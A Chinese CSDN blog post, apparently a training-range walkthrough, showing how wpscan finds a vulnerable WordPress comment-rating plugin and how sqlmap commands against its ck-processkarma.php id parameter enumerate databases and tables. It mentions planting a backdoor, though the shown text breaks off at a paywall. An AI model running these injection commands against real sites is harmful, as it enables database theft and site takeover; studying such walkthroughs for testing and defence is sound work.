WordPress插件漏洞分析溯源

最新推荐文章于 2024-04-13 00:25:18 发布

qq_36933272

最新推荐文章于 2024-04-13 00:25:18 发布

阅读量543

点赞数

本文链接：https://blog.csdn.net/qq_36933272/article/details/100503788

版权

本文通过使用wpscan工具发现WordPress网站存在的评论评级插件漏洞，详细阐述了如何识别注入点并利用sqlmap进行数据库探测，包括获取数据库名、表名、列名以及用户登录信息。最终，通过修改插件并植入后门，实现了对网站的潜在控制。

摘要由CSDN通过智能技术生成

打开wpscan扫描，输入wpscan --url http://219.153.49.228:48780 --enumerate vp，这是扫描wordpress存在漏洞的插件

发现出现漏洞插件 [1566903968447592.png]

打开连接，查找到注入点define(‘URL’,$url[‘path’].‘wp-content/plugins/comment-rating/ck-processkarma.php?id=’.IDCOMMENT.’&action=add&path=a&imgIndex=1_14_’)，于是开始构造连接http://219.153.49.228:48780/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a

打开sqlmap，开始查找数据库，表，列，字段值sqlmap -u “http://219.153.49.228:48780/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a” --dbs --batch；

sqlmap -u “http://219.153.49.228:48780/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a” -D “test” --tables；

sqlmap -u “http://219.153.49.228:48780/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&pa

最低0.47元/天解锁文章

qq_36933272

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
WordPress插件漏洞分析溯源

打开wpscan扫描，输入wpscan --url http://219.153.49.228:48780 --enumerate vp，这是扫描wordpress存在漏洞的插件发现出现漏洞插件 [1566903968447592.png]打开连接，查找到注入点define(‘URL’,$url[‘path’].‘wp-content/plugins/comment-rating/ck-pro...
复制链接

扫一扫